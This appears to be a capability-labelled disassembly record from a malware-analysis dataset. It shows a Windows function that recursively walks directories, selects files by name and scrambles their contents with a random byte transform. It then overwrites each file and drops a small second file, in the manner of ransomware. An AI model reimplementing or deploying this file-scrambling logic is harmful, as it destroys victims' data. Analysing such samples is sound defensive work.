Function at 0x1314e08c
Capabilities:
Get file size
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x37
push 0
push 0
dec ecx
jne 0x1314e094
push ebx
push esi
push edi
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
call fcn.131448dc
lea eax, [ebp - 0x170]
mov edx, dword [0x13145ddc]
call fcn.13144af8
xor eax, eax
push ebp
push 0x1314e65d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x174]
mov ecx, 0x1314e674
mov edx, dword [ebp - 8]
call fcn.13144738
mov eax, dword [ebp - 0x174]
lea ecx, [ebp - 0x170]
mov edx, 0x3f
call fcn.13146a2c
jmp 0x1314e608
mov eax, dword [ebp - 0x164]
cmp byte [eax], 0x2e
jne 0x1314e12a
lea eax, [ebp - 0x178]
mov edx, dword [ebp - 0x164]
mov dl, byte [edx]
call fcn.13144638
mov eax, dword [ebp - 0x178]
mov edx, 0x1314e684
call fcn.13144838
je 0x1314e5c6
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x17c]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x17c]
mov eax, 0x1314e69c
call fcn.131449d4
test eax, eax
jg 0x1314e374
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x180]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x180]
mov eax, 0x1314e69c
call fcn.131449d4
test eax, eax
jg 0x1314e374
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x184]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x184]
mov eax, 0x1314e6ac
call fcn.131449d4
test eax, eax
jg 0x1314e374
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x188]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x188]
mov eax, 0x1314e6bc
call fcn.131449d4
test eax, eax
jg 0x1314e374
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x18c]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x18c]
mov eax, 0x1314e6cc
call fcn.131449d4
test eax, eax
jg 0x1314e374
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x190]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x190]
mov eax, 0x1314e6dc
call fcn.131449d4
test eax, eax
jg 0x1314e374
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x194]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x194]
mov eax, 0x1314e6ec
call fcn.131449d4
test eax, eax
jg 0x1314e374
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x198]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x198]
mov eax, 0x1314e6fc
call fcn.131449d4
test eax, eax
jg 0x1314e374
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x19c]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x19c]
mov eax, 0x1314e70c
call fcn.131449d4
test eax, eax
jg 0x1314e374
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x1a0]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1a0]
mov eax, 0x1314e71c
call fcn.131449d4
test eax, eax
jg 0x1314e374
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x1a4]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1a4]
mov eax, 0x1314e72c
call fcn.131449d4
test eax, eax
jle 0x1314e5c6
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x1a8]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1a8]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov edi, eax
push 0
push edi
call sub.kernel32.dll_GetFileSize_1
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
call fcn.131428c4
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
push edi
call sub.kernel32.dll_ReadFile_1
push edi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
push ebp
push 0x1314e4cd
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.13142ca4
mov eax, 3
call fcn.131432a4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1314e435
mov esi, dword [ebp - 0x10]
test esi, esi
jl 0x1314e435
inc esi
xor ebx, ebx
mov eax, dword [ebp - 0x18]
mov al, byte [eax + ebx]
mov byte [ebp - 1], al
mov al, byte [ebp - 1]
not al
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x18]
mov dl, byte [ebp - 1]
mov byte [eax + ebx], dl
inc ebx
dec esi
jne 0x1314e417
cmp dword [ebp - 0xc], 1
jne 0x1314e465
mov esi, dword [ebp - 0x10]
test esi, esi
jl 0x1314e465
inc esi
xor ebx, ebx
mov eax, dword [ebp - 0x18]
mov al, byte [eax + ebx]
mov byte [ebp - 1], al
mov cl, 2
mov al, byte [ebp - 1]
rol al, cl
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x18]
mov dl, byte [ebp - 1]
mov byte [eax + ebx], dl
inc ebx
dec esi
jne 0x1314e445
cmp dword [ebp - 0xc], 2
jne 0x1314e495
mov esi, dword [ebp - 0x10]
test esi, esi
jl 0x1314e495
inc esi
xor ebx, ebx
mov eax, dword [ebp - 0x18]
mov al, byte [eax + ebx]
mov byte [ebp - 1], al
mov cl, 7
mov al, byte [ebp - 1]
ror al, cl
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x18]
mov dl, byte [ebp - 1]
mov byte [eax + ebx], dl
inc ebx
dec esi
jne 0x1314e475
cmp dword [ebp - 0xc], 3
jne 0x1314e4c3
mov esi, dword [ebp - 0x10]
test esi, esi
jl 0x1314e4c3
inc esi
xor ebx, ebx
mov eax, dword [ebp - 0x18]
mov al, byte [eax + ebx]
mov byte [ebp - 1], al
mov al, byte [ebp - 1]
neg al
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x18]
mov dl, byte [ebp - 1]
mov byte [eax + ebx], dl
inc ebx
dec esi
jne 0x1314e4a5
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1314e4d7
push 0
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x1ac]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1ac]
call fcn.131448ec
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x1b0]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1b0]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov edi, eax
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
push edi
call sub.kernel32.dll_WriteFile_1
push edi
call sub.kernel32.dll_CloseHandle_1
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
push 0x1314e69c
lea eax, [ebp - 0x1b4]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1b4]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov edi, eax
push 0
lea eax, [ebp - 0x14]
push eax
push 0x57
push 0x1314e73c
push edi
call sub.kernel32.dll_WriteFile_1
push edi
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x168]
and eax, 0x10
cmp eax, 0x10
jne 0x1314e608
mov eax, dword [ebp - 0x164]
cmp byte [eax], 0x2e
je 0x1314e608
push dword [ebp - 8]
push 0x1314e690
push dword [ebp - 0x164]
lea eax, [ebp - 0x1b8]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1b8]
call fcn.1314e08c
lea eax, [ebp - 0x170]
call fcn.13146a7c
test eax, eax
je 0x1314e0f6
lea eax, [ebp - 0x170]
call fcn.13146aa0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1314e664
lea eax, [ebp - 0x1b8]
mov edx, 0x12
call fcn.13144490
lea eax, [ebp - 0x170]
mov edx, dword [0x13145ddc]
call fcn.13144bbc
lea eax, [ebp - 8]
call fcn.1314446c
ret